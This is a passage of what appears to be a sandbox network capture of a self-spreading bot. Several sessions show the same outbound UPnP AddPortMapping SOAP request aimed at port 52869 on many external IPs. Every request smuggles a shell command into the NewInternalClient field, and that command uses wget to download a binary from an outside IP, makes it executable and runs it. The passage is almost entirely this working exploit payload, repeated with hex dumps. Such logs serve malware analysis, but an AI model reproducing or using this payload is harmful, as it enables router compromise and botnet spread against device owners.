Jul 20, 2024 23:10:39.162925005 CEST	989	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf bulol; wget http://15.235.203.214/bolonetwork.x86 -O bulol; chmod 777 bulol; ./bulol selfrep.rt`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.15	51080	85.126.23.91	52869

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.166048050 CEST	989	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf bulol; wget http://15.235.203.214/bolonetwork.x86 -O bulol; chmod 777 bulol; ./bulol selfrep.rt`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.15	38544	191.96.230.47	52869

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.168210030 CEST	989	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf bulol; wget http://15.235.203.214/bolonetwork.x86 -O bulol; chmod 777 bulol; ./bulol selfrep.rt`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.15	36118	197.208.47.186	52869

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.171350002 CEST	989	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf bulol; wget http://15.235.203.214/bolonetwork.x86 -O bulol; chmod 777 bulol; ./bulol selfrep.rt`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.15	35130	32.169.224.65	52869

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.173717976 CEST	989	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf bulol; wget http://15.235.203.214/bolonetwork.x86 -O bulol; chmod 777 bulol; ./bulol selfrep.rt`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.15	38954	208.102.27.6	52869

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.177644014 CEST	989	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf bulol; wget http://15.235.203.214/bolonetwork.x86 -O bulol; chmod 777 bulol; ./bulol selfrep.rt`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.15	41986	102.119.6.178	52869

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.181279898 CEST	989	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf bulol; wget http://15.235.203.214/bolonetwork.x86 -O bulol; chmod 777 bulol; ./bulol selfrep.rt`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.15	46572	77.64.253.97	52869

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.185538054 CEST	989	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf bulol; wget http://15.235.203.214/bolonetwork.x86 -O bulol; chmod 777 bulol; ./bulol selfrep.rt`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.15	48776	134.116.6.133	52869

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.187583923 CEST	989	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf bulol; wget http://15.235.203.214/bolonetwork.x86 -O bulol; chmod 777 bulol; ./bulol selfrep.rt`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.15	40426	143.77.32.144	52869

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.190217018 CEST	989	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf bulol; wget http://15.235.203.214/bolonetwork.x86 -O bulol; chmod 777 bulol; ./bulol selfrep.rt`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.15	53962	189.107.255.223	52869

Timestamp	Bytes transferred	Direction	Data
